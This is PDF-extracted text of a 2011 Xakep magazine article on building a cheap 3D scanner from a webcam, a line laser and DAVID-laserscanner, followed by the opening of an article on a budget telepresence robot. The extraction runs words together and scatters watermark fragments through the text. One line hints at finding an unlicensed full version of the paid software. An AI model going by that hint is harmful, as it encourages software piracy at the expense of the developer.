 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

КАКСОЗДАТЬ 3D-МОДЕЛЬ ЛЮБОГОПРЕДМЕТА ПОДРУЧНЫМИ СРЕДСТВАМИ

Профессиональный3D-сканер, спомощьюкоторогоможно оцифроватьреальныйобъект, получивегокомпьютерную модель,стоитдесяткитысяч долларов.Мыжесможемпровернутьтожесамоеспомощью специальнойпрограммы,лазер- нойуказкиивеб-камеры.Всего долларовзатридцать.

WWW

Насайтеразработчикаwww.davidlaserscanner.

comестьпрекрасное руководствонарусскомязыке.Прочти егообязательно!

Тамоченьподробно описаныитребованиякоборудованию,

ипоследовательностьсканирования,

иразныенюансы, которыемогутутебя возникнуть.

О3D-СКАНИРОВАНИИ

Многиесферынашейжизнинемыслимыбезтрехмернойграфики. Огромнаяармия3D-моделлеров(илипопросту3D’шников)ежедневно создаетмодели,которыепотомуспешноиспользуютсявсамыхразных областях,начинаяоткинематографа,рекламы,промышленногопроизводства,архитектурыизаканчиваябогзнаетчемеще.Любойчеловек,занимающийсямоделированием,раноилипоздносталкивается соследующейзадачей:нужносоздатьмодельтого,чтоужесуществует внашемтрехмерноммире.Этоможетбытьчтоугодно.Например, модель-прототип,которуюнатвойстолположилзаказчикипопросил сделать«точнотакже,тольковкомпьютере».Причемсмоделировать нужнонепросточтобы«былопохоже»,ачтобыобъект-прототипи трехмернаямодельбыликакблизнецы-братья,разделенныеэкраном компьютера.Такслучилосьисомной.Выполняяочереднойзаказпо моделированию,ястолкнулсясоченьжесткимитребованиямипосоответствиюмоеймоделиобразцуклиента.Послеэнногобезуспешного согласованиясталоясно,чтовэтотразнужнаабсолютнаяточность модели.Вовсякомслучаеклиентбылуверен,чтовпротивномслучае еслииненаступитАрмагеддондлявсегочеловечества,топокрайней мереслучитсячто-топохожее.Чтомнеоставалосьделать?Попро- бовать,наконец,3D-сканирование!Ятогдаещеподумал:«Этоже моделированиедляленивых».Минутадела—ивсё,модельготова!К моемувеликомуудивлению(иразочарованию),оказалось,чтодаже самыйпростенький3D-сканерстоитбольшихденег.Вернееговоря, оченьбольших.Чтобыегокупить,ядолженбылумножитьстоимость этоймоделиначислоспятьюнулями.Норазнельзякупить,значит, будемделатьсами.Нижеяхочуподелитьсястобойопытом,какможно собрать3D-сканерсвоимируками.Янетолькорасскажу,какиекомпо- нентыигдекупитьдляэтого,ноикакэтимсканеромпользоваться.

034

ХАКЕР 10/153/2011

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

Чтонам понадобится?

Смастеритьсвой3D-сканер,какоказалось, можнобуквальноизподручныхматериалов: нампотребуетсяспециальнаяпрограмма,ла- зернаяуказка,веб-камера,атакженекоторые самодельныеприспособления.

СПЕЦИАЛЬНЫЙСОФТ

Самойважнойчастьюсканера,втом числедорогостоящегопрофессио- нального,являетсяегомозг—про- граммноеобеспечение,которое выполняетоцифровку.То,чтонеобхо- димонам,—этоинструменты,которые позволяютсканировать/оцифровыватьтрехмерныеобъектыспомощью подручныхсредств:веб-камерыи лазернойуказки.Таковымиявляют-

сяDAVID-laserscanner(www.david-laserscanner.comTriAngles

(www.intricad.com),доступныедлясвободноготестирования,нос некоторымиограничениями.Последнийимеетдовольнонеприятное ограничение:дляегоработынеобходимравномерновращающийся столик,накоторомбудетрасполагатьсясканируемыйобъект.Ктому жепредъявляютсясуровыетребованияксамомуобъекту.Егоформа должнабытьблизкакцилиндрической,аещелучше—сферической. DAVID-laserscannerподобныхтребованийнепредъявляет,поэтому явыбралего.Несмотрянаточтопрограммаплатнаяиеестоимость колеблетсяот199до229евро,тестироватьееможноскольугодно долго—лимитовповременинет.Единственноеограничениезаклю- чаетсявособенностяхсохранениярезультатовсканирования.Сохранитьсканыможно,новнизкомкачестве.Впрочем,напросторахСети иногдаслучаютсячудеса,иеслитебеудастсянайтиверсиюDAVID’а, котораясохраняетввысокомкачестве,значит,тысэкономишьина этом.Актоищет—тотвсегданайдет.

ВЕБ-КАМЕРА

Параметрыобъекта,необходимые длясоставленияобъекта,программа считываетспомощьювеб-камеры. Она,возможно,утебяесть.Еслитак— прекрасно,можешьпопробовать провернутьвсёсней.Главное,чтобы разрешениебылонеменьше640х480. Естьидругиетребования:наличие ручнойфокусировки(возможности отключатьавтофокус),минимумшумов

привысокомразрешении,качественнаялинзакамеры—линзане должнадаватьсильныхискажений.Камерадолжнаподключаться кUSB-портуиработатьнаWDM-драйверах(т.е.,попростуговоря, должнабытьвиднадлявыборавпрограммеDAVID).Большинствосо-

временныхвеб-камерудовлетворяютэтимтребованиям,нопроверить ихсовместимостьсDAVIDможемтолькомыстобой,поэтомудоверимся рекомендациямсоздателейпрограммывоизбежаниевсякихнеожиданностей.ИздешевыхкамерсамразработчикрекомендуетLogitech WebCamPro9000withcamholder,которуюможнокупитьдолларовза сто.ЯжеуспешновыполнялсканированиямоейLogitechС270стоимостьюоколо35долларов.

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

3D-сканерзаw$Click30

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

ЛАЗЕРНЫЙМОДУЛЬ

Дляработысканеранеобходимкомпонент,которыйбудетдаватьлинию. Именнолинию,анеточку.Этоважно!На форумахяпрочел,чтоподойдетобычная китайскаялазернаяуказка,ноэтоне так.Какбыбыстротыниводилрукой, вооруженнойлазернойуказкой,это всёнето.Чутьпозжеяобъяснюпочему. Сейчасважноодного—нуженсканер, которыйдаетлинию.Красный,зеленый,

синий—цветсканераневажен.Вообщеможнообойтисьибезсканера, воспользовавшисьальтернативнымирешениями(читайвоврезке).Но лазерныймодуль—этосовершенноточносамыйпростойидоступный вариант.Яприобрелмодулькрасноголазера650нМсфокусировкой линиимощностью5мВт,онстоил25долларов.Такойможнокупитьгде угодно,напримервхозяйственноммагазинеиличерезинет,какэто сделаля(кажется,вwww.greenlaser.com.ua).Модулибольшеймощности(до20мВт)нерекомендуюприобретать,таккакихиспользование целесообразновоченьредкихслучаях.Естьготовыемодулисавтоном- нымпитанием—еслинайдешь,токупилучшетакой.Мнежедлясвоего лазерногомодуляпришлосьсоздатьнебольшуюоснастку,чтобыбыло удобнодержатьвруке,включать/выключать.Запиталяегообычной кроной9В:красныйпровод«+»,черный«-»:еслинаоборот,тобудет гретьсяи,какрезультат,выйдетизстрояраньшевремени.

КАЛИБРОВОЧНЫЙУГОЛ.

Ориентироватьсявпространстве, получаявозможностьсчитывать параметрыизображения,позволяет программеспециальнаяприспосо- ба—калибровочныйугол.Небойся, этосамыйдешевыйкомпонент, представляющийсобойдвалистасо специальнонанесеннымимаркерами,которыенужнорасположитьпод углом90°.ПослеустановкиDAVID’аты

найдешьфайлывформатеPDFилиCDRвкорневомкаталоге,например«Calibpoints_Scale30_DIN_A4.pdf».Илисаналогичнымименем, новформатеCDRдляпечатиизCorelDraw.Выберитотфайл,название которогосоответствуетформатубумаги,накоторойтысобираешься печатать.Вообщесоветуюисходитьотразмерасканируемогообъекта.Нестоитделатьбольшойугол,еслитысобираешьсясканировать маленькиеобъекты.Дляначалавполнеподойдуткалибровочные листыформатаА4.Сложнеезакрепитьихподправильнымуглом.Свой первыйуголясделалтак—простосогнулбелыйгофрокартон,закре- пилегонаоснове,послечегоприкрепилстыквстыккалибровочные листы.Лучшеихнеклеить,таккаклистыстанутволнистыми—это недопустимо.Вместоэтогоможноаккуратноприкрепитьихпокраям скотчем.Долженсказать,чтопослепервыхжескановсталопонятно, чтоуголнеидеальный.Поэтомупришлосьвсёпеределать:ясоединил двакускаДСП,скрепивихуголками.Получилосьхорошо:угол90°, поверхностьидеальноровная—всегоэтогонельзябылобыдобиться сгофрокартоном.Словом,тутестьмножествовариантов.

НИВКОЕМСЛУЧАЕНЕНАПРАВЛЯЙЛУЧПРЯМОВГЛАЗА. ЭТООЧЕНЬОПАСНО,ТАККАКЯРКОСТЬЛУЧАНАСТОЛЬКО ВЕЛИКА,ЧТОДАЖЕКРАТКОВРЕМЕННОЕПОПАДАНИЕВ ГЛАЗМОЖЕТВЫЖЕЧЬСЕТЧАТКУГЛАЗА.ПОПАДАНИЕНА КОЖУНЕОПАСНО. ВООБЩЕРЕКОМЕНДУЮПРИОБРЕСТИ СПЕЦИАЛЬНЫЕОЧКИДЛЯРАБОТЫСЛАЗЕРОМ,НОЭТОУЖЕ ПОТОМ,АНАПЕРВЫХПОРАХМОЖНОИБЕЗНИХ.

ХАКЕР 10/153/2011

035

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

F

 

 

 

 

 

 

 

t

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

PCmZONE

w Click

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

.

 

 

 

 

 

 

.c

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

-xcha

n

e

 

Какэто происходит?

Теперьсамоеинтересное—приступаемксамомупроцессуска- нирования.Оглянисьвокруг:вкомнатенаверняканайдутсякакие- нибудьсувенирыилистатуэтки—дляэкспериментовподойдет любойнебольшойобъект.Чтоточнонегодится,такэтопрозрачные илиполупрозрачныепредметы.Лучлазерадолженотражаться,ане поглощатьсяпредметами.СоздателиDAVID’арекомендуютвтаких случаяхпокрыватьпредметыталькомили,еслинежалко,аэрозольнойкраской.Янеутруждалсебяивзялнесколькостатуэток. Условновпроцессесканированияможновыделитьчетыреэтапа, расскажуокаждомподробнее.

1ЭТАП

Калибровка

Этопредварительныйэтап,поэтомуобъектдлясканированияпока отложимвсторону.Закрепивеб-камерунапротивкалибровочногоугла такимобразом,чтобывсекомпонентыбылинеподвижныотносительнодругдруга.Камерустоитрасположитьнауровненижнегокрая калибровочныхлистов.Вовремякалибровкикамерыизображение должнобытьярким.Явыполнялсканированиевечеромилиднем,но сзатененнымокном,акалибровочныйуголосвещалискусственным светом.СамакалибровкаосуществляетсявDAVID-laserscanner. Выбираемизспискаустройствнашувеб-камеру,настраиваемизо- бражение:повышаемяркость,контраст.Врезультатенаэкраневидны толькочерныемаркеры.Жмемкнопку«Калиброватькамеру».Если

Настраиваемсканер

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Сканирование:сосветомибез

всёсделаноправильно,программапоздравиттебя,чтокалибровка прошлауспешно.Впротивномслучаеможнопопробоватьизменить положениевеб-камеры,поигратьсясяркостьюиконтрастом.Уменя получилосьнеспервогораза,нопотомрадостибылокакпослепервой сданнойсессии!

2ЭТАП

Размещениеобъекта

Длясканированиянеобходиморасположитьобъектвуглукалибровочногоугла.Длялучшегорезультатаондолженбытьприблизительнопосерединекалибровочныхлистов.Еслиегоразмерынебольшие,можно использоватьподставку:коробку,книги,деревянныйбрусокподходящегоразмера.Укажипрограмметиписпользуемоголазера.Далее тушимсвет!Наэкранедолжнобытьтемно.Еслинетак—понижаем значенияяркости.Непугайся,еслимаркеровневидно:программа запомнилаихрасположение,итеперьонинамнестольважны.Включи лазеринаправьегонауголчутьвышенашегопредмета.Наэкране должнапоявитьсяломанаябелаялиния(программаанализирует черно-белоеизображение).Расстояниемеждукамеройиплоскостью лазера(т.е.триангуляционныйугол)должнобытьнастолькобольшим, насколькоэтовозможно,—этонужнодлябольшейточности.Иначеты увидишьпредупреждение:«Уголпересеченияслишкоммал».Вначале статьияотговорилтебяотиспользованияточечнойлазернойуказки, ивотпочему.Дажебыстроводяточечнойуказкой,тынетольконеполучишьровнуюлинию,ноипрограмманесможетпосчитатьвеличину триангуляционногоугла.

3ЭТАП

Сканирование.

Процесссканированияначинаетсяпосленажатиякнопки«Старт».Не- обходимопровестипообъектулучомвниз-вверхнесколькораз,чтобы программачерезвеб-камерусчиталапараметрыобъекта.Тутесть важныймомент:нужноповорачиватькистьслазером,анеопускать руку!Скоростьневажна,нонестарайсяделатьэтооченьбыстро.При сканированииячащесмотрелненаобъект,анаэкран,глядя,какпрограммаанализируетформупредмета,вырисовываянаэкранецветные линии.Смотретьнаэкранудобнееподвумпричинам.Во-первых,если

ЕСЛИТЫНЕХОЧЕШЬУТРУЖДАТЬСЕБЯИТЕБЕНЕЖАЛКО $500,МОЖЕШЬПРИОБРЕСТИDAVID-LASERSCANNER STARTER-KIT,КОТОРЫЙСОДЕРЖИТИЛАЗЕРНЫЙМОДУЛЬ, ИВЕБ-КАМЕРУLOGITECHPRO9000,ИКАЛИБРОВОЧНЫЙ УГОЛ,ИUSB-ФЛЕШКУСПРОГРАММОЙ.

036

ХАКЕР 10/153/2011

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

3D-сканер

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

заw$Click30

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Промежуточныйрезультатсканирования

линиялазеранебудетвиднасобеихсторонпредметаилинедостаточнымбудеттриангуляционныйугол,программасразувыдастсообщение (итысможешьэтоисправить).Во-вторых,смотретьналазерутоми- тельнодляглазиз-завысокогоконтрастамеждучернымфономи яркимлучом.Пройдяпопредметулучомвниз-вверхстолько,сколько потребуется,жмемкнопку«Пауза».Теперьможносохранитьрезультат сканированиявотдельныйфайлспомощьюкнопки«Сохранить».Есть другойвариант—сразупередатьизображениедляпоследующего сшиваниясдругимисканами,нажавкнопку«Перенести».Принажатии «Перенести»сканпередаетсянаследующийэтап(склейку)безсохранениявфайл,нотекущийэтапмынепокидаемиможемповторить сканирование,изменивположениеобъекта(незабудьпередновым сканированиемнажатьнакнопку«Стереть»).Тутважнопонимать:для созданиямоделинеобходимосделатьнесколькосканов.Дляпростых предметовтебебудетдостаточноповорачиватьобъект,например,на 45°.Еслиповерхностьпредметасложная,топотребуетсясканировать егосразныхсторонилишьпотомсшиватьсканы.Ещеодинважный момент:сканыобязательнодолжныперекрыватьдругдруга,чтобы программебылолегчеанализироватьих.

4-ЙЭТАП

Сшиваниеформ

Последнийшагпередполучениеммодели—этосклейкасканов.Если тынесохранялсканы,апередавалихнасклейкуспомощьюсоответствующейкнопки,томожешьприступатьксшиваниюсразу.Впротивномслучаежмемкнопку«Добавить»изагружаемранеесохраненные файлы.Процесссшиванияможноразделитьнадваэтапа:стыковка скановисобственносшивание.Выбираяпопарносканы,тыуказываешьпрограмменаметодстыковки.DAVIDсправляетсясэтимочень дажезамечательноприусловии,чтоестьчемустыковаться—сканы должныперекрыватьдругдруга.Еслилоскутынеперекрываются,тебе

Самодельный3D-сканерпозволяетполучитьнеплохойрезультат

придетсявернутьсянапредыдущийэтапиосуществитьсканирование изтехположенийобъекта,которыедадуттакоеперекрытие.Выполнив стыковкудлявсехсканов,жмемнакнопку«Сшить».Взависимости отвыбранныхнастроекчерезнесколькосекундмыувидимрезультат сшиваниявсехскановвединуюмодель.Жмемкнопку«Сохранить». ТеперьможнозагрузитьнашумодельвZBrushилиMudboxидовестиее досовершенства.Модельготова!

ВпрограммеTriAnglesблагодарявращениюпредметаформированиеоцифрованнойповерхностипроисходилобыавтоматически,этоее преимуществопередDAVID’ом.Нокакбыонасправиласьсформированиемповерхностив«мертвых»зонах?Думаю,никак.Либовэтихместахмыбыполучилипогрешность.Мыжехотелиполучитьмоделькак можноболееточную.Поэтомудополнительныедействияпосшиванию скановбудемсчитатьнеобходимымииздержками.

Дорабатываемготовуюмодельв3D-редакторе

 

 

 

 

ВМЕСТОЗАКЛЮЧЕНИЯ

 

 

ЕСЛИНЕТЛАЗЕРА

Собрать3D-сканер,которыйбудетвыдаватьболеечемприличный

 

результат,вполневозможнодома.Надеюсь,тывэтомсможешьубе-

 

 

 

диться.Ксожалению,длясканированиямаленькихобъектов(амне

 

 

 

нужнобылосоздатьобъектыдляювелирныхизделий)нужнаочень

 

 

ля3D-сканированияобъектаможнообойтисьибезлазера(янешучу).

хорошаяUSB-камераcCCD-матрицей,которойуменянет(онадоста-

 

Д

 

Подойдетпроектсмощнойлампой,светкоторойнужнонаправить

точнодорогая),поэтомумойопыттакиосталсяопытом:применить

 

 

сквозьузкующельнасканируемыйобъект.Получимузкуюбелуюли-

егонаделедлясканированияювелирныхизделийнеполучилось.Но

 

нию—чемнебелыйлазер?Правда,помимопроектора(которыйнедёшевсам

яиспыталнезабываемоеудовольствие,получаяполноценныемоде-

 

посебе)нужнаещеисерьезнаяоснасткадляудержанияпроекторавнужном

лисамыхразныхобъектовспомощьюсканера,которыйбылсобран

 

положении.Этогеморройно.Можнопойтиотобратного—направитьяркий

буквальнонаколенке. z

 

свет,апообъектупровеститеньюотнатянутойнити:такоетожепредусмотрено

 

 

 

 

разработчикамипрограммы.Вэтомслучаепрограммаможетинвертировать

 

 

 

обрабатываемуюкартинку.Однакочто-томнеподсказывало,чтоэтонедаст хорошегорезультата.

ХАКЕР 10/153/2011

037

 

 

 

 

hang

e

 

 

 

 

 

 

C

 

E

 

 

 

X

 

 

 

 

 

-

 

 

 

 

 

d

 

F

 

 

 

 

 

 

t

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

to

PHREAKINGm

w Click

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

.

 

 

 

 

 

.c

 

 

p

 

 

 

 

g

 

 

 

 

df

 

 

n

e

 

 

 

 

-xcha

 

 

 

Видеочатна колесиках

ДЕЛАЕМБЮДЖЕТНОГО РОБОТАТЕЛЕПРИСУТСТВИЯ ЗА300ДОЛЛАРОВ

СергейСильнов

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

(po.kumekay.com)w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Ботытелеприсутствия—Skype-фонынаколеси- ках—позволяютнаходитьсявдвухместаходно- временно,чеммогутнеплохосэкономитьвремя. Правда,серийныемоделистоятот5000долларов, такчтодоступностьунихограничена.Ноотчаиватьсянестоит,ведьнедорожечемза300долларовтыможешьсделатьтакогороботасам!

ДЛЯЧЕГО?

Класснопоройгде-нибудьтелеприсутствовать.Например,сидетьдомав халатесчашечкойароматногокофе,авдушнойпереговоркеподнадоевшегоофисабудетшуршатьмоторамироботтелеприсутствияипередаватьколлегамкартинкутвоегоулыбающегосялица.Отнеобходимости следитьзапроисходящимивовремявставлятьсвоиидеион,конечно,не спасет,нокомфортадобавитьможет.Ещетакойроботпоможетобщаться слюбимой,находящейся вдругомгороде,даиприглядетьзаней,если что.Чтобытакойроботутебяпоявился,нужно,во-первых,егособрать: шасси,управлениедвигателями,нетбук(мозг,камераиэкран),авовторых,нужнозапрограммироватьклиентскуюисервернуючасть.Но теперьобовсемподробно.

ШАССИ

Роботанужноделатьдостаточнокрупнымивысоким,чтобыонбылустойчивым,аэкранчтобыбылнесильнонижеуровняглаз.Нестинаборту нашемуроботупридетсяувесистыйсвинцово-кислотныйаккумулятор (оптимальныйвыбор12В,7Ач,600руб.)инетбук,поэтомуплатформа должнавыдерживатьнагрузкув10–15кг(тогдаможнобудетипарубано- чекспрохладнымпенящимсяквасомизхолодильникананемвозить).

Теперьопределимсясколичествомколес.Всовременномтелероботостроениимодноиспользоватьдвухколесныетележкивстиле Segway.Сделатьтакуюштуковинувдомашнихусловияхвцеломреально, нодовольномуторновслучаесозданиякрупныхроботов.Поэтомуя предлагаюограничитьсяболеепростымвариантом—добавитьтретье опорноеколесо.Вкачестветретьегоколесаподойдетнедорогое(35 рублей)вращающеесяколесикодлямебели.Дляособойустойчивости дополнительныхколесможновзятьидва.

Вкачествеведущихколескрутоиспользоватьколесадлясадовых тачекилидлятележекизсупермаркета.Внихчастовстречаются встроенныеподшипники,которыеупрощаютзадачусозданияведу- щейчасти.Всёвниххорошо,толькоплатитьпо500–700рублейзаодно колесосовсемнеохота.Естьвариантболеебюджетный—исполь- зоватьбоковыеколесикидлядетскихвелосипедов.Унихидиаметр вполнедостаточный—13см,ишириныв2,5смхватаетдлянадежного сцеплениясполом(дажепоковруездитнепроскальзывая).Стоятэти колеса130рублейзапару.

Теперьовыборемоторов.Роботнехилый,ивсякимипластиковыми хлипкимимотор-редукторамиизкитайскихигрушечныхмашинокздесь неотделаться.Популярныйвариантдлятакихроботов—использовать вазовскиемоторыдлястеклоподъемниковилистеклоочистителей.

Самыйбольшойихнедостатоквтом,чтоониоборудованычервячными мотор-редукторами,которыенеимеютобратнойсвязи(т.е.неполучится, покрутивколесо,передатьвращениенамотор;колесовообщесамопо себепокрутитьнеполучится).Прирезкихторможениях,когдаинерции вколесеещемного,амоторужеотключен,всяэнергияпойдетнаполомкушестеренок,идолгоонинепроживут.Проблемапобольшейчасти решаемая—нужнопростоплавновключатьивыключатьмотор,ноесть заэтижеденьги(600–700рублейзамотор)идругое,неменееэлегант- ноерешение:дешевыекитайские12-вольтовыешуруповерты.Уних редукторпланетарный,иподобногонедостаткаунегонет.Доидеалаим тожедалековато:дольшедесятиминутнепрерывноинаполнойскорости крутитьсяэтимоторынесмогут—перегреются,нонапрактикеэтоине нужно,толькоеслинепосылатьроботавдалекиймагазин.Мощностиже иоборотовунихсголовой,такчтоиспользоватьсяонибудутвщадящем режиме.Плюсшуруповертыпродаютсяспатроном,вкоторыйможносразузакрепитьколесоприпомощиболта,чемсильноупроститьведущую часть.

Моторысколесамиещенеобходимоначем-тоукреплять.Можносо- братькоробкудляаккумуляторов,электроникиигрузаизалюминиевого

Клиент

xmpp

Сервер

serial

Arduino

(ruby)

 

(ruby)

 

 

Схемадвиженияуправляющихданных

038

ХАКЕР 10/153/2011

Соседние файлы в папке журнал хакер